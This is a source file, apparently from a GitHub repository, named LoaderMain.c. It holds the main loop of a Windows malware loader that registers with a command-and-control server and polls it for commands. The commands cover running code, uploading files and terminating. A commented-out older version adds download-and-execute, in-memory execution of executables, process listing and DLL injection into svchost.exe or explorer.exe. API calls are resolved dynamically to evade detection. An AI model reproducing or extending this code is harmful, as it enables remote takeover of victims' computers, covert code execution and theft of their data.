-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathLoaderMain.c
More file actions
193 lines (171 loc) · 5.86 KB
/
Copy pathLoaderMain.c
File metadata and controls
193 lines (171 loc) · 5.86 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#include "main.h"
//c2 server: 3 letter parent command space child command(if available) space data
int cmdswitch(char* cmd){
if (mystrstr(cmd, "CAL") == cmd) return 0;
else if(mystrstr(cmd, "NOP") == cmd) return 1;
else if(mystrstr(cmd, "EC1") == cmd) return 2;
else if(mystrstr(cmd, "EC0") == cmd) return 3;
else if(mystrstr(cmd, "STL") == cmd) return 4;
else if(mystrstr(cmd, "EDL") == cmd) return 5;
else if(mystrstr(cmd, "DIE") == cmd) return 6;
else if(mystrstr(cmd, "UPD") == cmd) return 7;
else return 1;
}
LPVOID ReportExecutionFail(){
return 0;
}
int initConnection(){
HANDLE hMutex;
int try = 0;
char* UriBuffer = systemFunction();
hMutex = API(KERNEL32, CreateMutexA)(NULL, FALSE, SYNCER);
while(!BeaconCallbackC2(_C2_CALLBACK_ADDRESS, 0, _REGISTER_URL, DO_REGISTER, UriBuffer, mystrlen(UriBuffer))){
API(KERNEL32,Sleep)(30000);
try ++;
if (try > 20){
try = 0;
API(KERNEL32,Sleep)(12 * 60000);
}
}
hFree(UriBuffer);
return 0;
}
int main() {
char *Buffer;
char cmd[4];
int task = 1996;
goto initC2;
//initConnection();
while (1){
BOOL Success = FALSE;
mymemcpy(cmd, "CAL", 4);
loopinit:
task = cmdswitch(cmd);
initC2:
switch (task){
case 1996:
initConnection();
continue;
case 0:
Buffer = BeaconCallbackC2(_C2_CALLBACK_ADDRESS, 0, _CALLBACK_URL, NULL, NULL, NULL);
if (!Buffer){
API(KERNEL32,Sleep)(30000);
continue;
}
//3 letter command and then a space then args
mymemcpy(cmd, Buffer,3);
cmd[3] = '\0';
goto loopinit;
case 1:
API(KERNEL32,Sleep)(10000);
Success = TRUE;
break;
case 2:
Success = ExecuteCode(Buffer+4, TRUE);
break;
case 3:
Success = ExecuteCode(Buffer+4, FALSE);
break;
case 4:
Success = Stdlib(Buffer+4);
break;
case 5:
//Success = ExecuteDLL(Buffer+4);
break;
case 6:
API(KERNEL32,ExitProcess)(1);
case 7:
Success = fUpload(Buffer+4);
break;
default:
break;
}
hFree(Buffer);
if (!Success){
ReportExecutionFail();
}
API(KERNEL32,Sleep)(10000);
}
}
/*
int main(){
while (1){
char* commBuf;
if(initConnection()) {
Sleep(30000);
continue;
}
commBuf = hAlloc(4096);
while(recvLine(clientSocket, commBuf, 4096)){
if(mystrstr(commBuf, "PING") == commBuf){
sockprintf(clientSocket, "PONG", 5);
continue;
}
if(mystrstr(commBuf, runPE) == commBuf){
BYTE* fileMemory;
DWORD fileSize =0;
fileMemory = downloadToMem(commBuf+6, &fileSize);
RunPortableExecutable(fileMemory);
sockprintf(clientSocket, "DONE", 5);
continue;
}
if(mystrstr(commBuf, dwnldnExec) == commBuf){
char* cp, *filename; //filename.exe,.js etc
DWORD fileSize =0, ret;
cp = split(commBuf+11);
filename = mystrstr(commBuf, "|")+1;
dwnldNExecute(cp, filename);
sockprintf(clientSocket, "DONE", 5);
hFree(cp);
continue;
}
else if(mystrstr(commBuf, commDownload) == commBuf){
char* cp, *filelocation; //location with name like C:\\hello.exe
cp = split(commBuf+6);
filelocation = mystrstr(commBuf, "|")+1;
dwnldNSave(cp,filelocation);
sockprintf(clientSocket, "DONE", 5);
hFree(cp);
continue;
}
else if(mystrstr(commBuf, listProc) == commBuf){
char* buf = getps();
sockprintf(clientSocket, buf, mystrlen(buf)+1);
hFree(buf);
continue;
}
else if(mystrstr(commBuf, injectDll) == commBuf){
BYTE* fileMemory;
DWORD fileSize =0;
BOOL isX64;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb= sizeof(si);
si.dwFlags |= (STARTF_USESTDHANDLES);
API(KERNEL32, IsWow64Process)((HANDLE)-1, &isX64);
fileMemory = downloadToMem(commBuf+10, &fileSize);
if(isX64){
if(!API(KERNEL32,CreateProcessA)("C:\\Windows\\SysWOW64\\svchost.exe",NULL,NULL,NULL,FALSE,EXTENDED_STARTUPINFO_PRESENT,NULL,NULL,&si,&pi)){
API(KERNEL32,CreateProcessA)("C:\\Windows\\SysWOW64\\explorer.exe",NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
}
}
else{
if(!API(KERNEL32,CreateProcessA)("C:\\Windows\\system32\\svchost.exe",NULL,NULL,NULL,FALSE,EXTENDED_STARTUPINFO_PRESENT,NULL,NULL,&si,&pi)){
API(KERNEL32,CreateProcessA)("C:\\Windows\\system32\\explorer.exe",NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
}
}
InjectDLL(fileMemory, fileSize, pi.dwProcessId);
sockprintf(clientSocket, "DONE", 5);
continue;
}
else{
sockprintf(clientSocket, "INVALID COMMAND\0", 16);
continue;
}
}
hFree(commBuf);
}
}
*/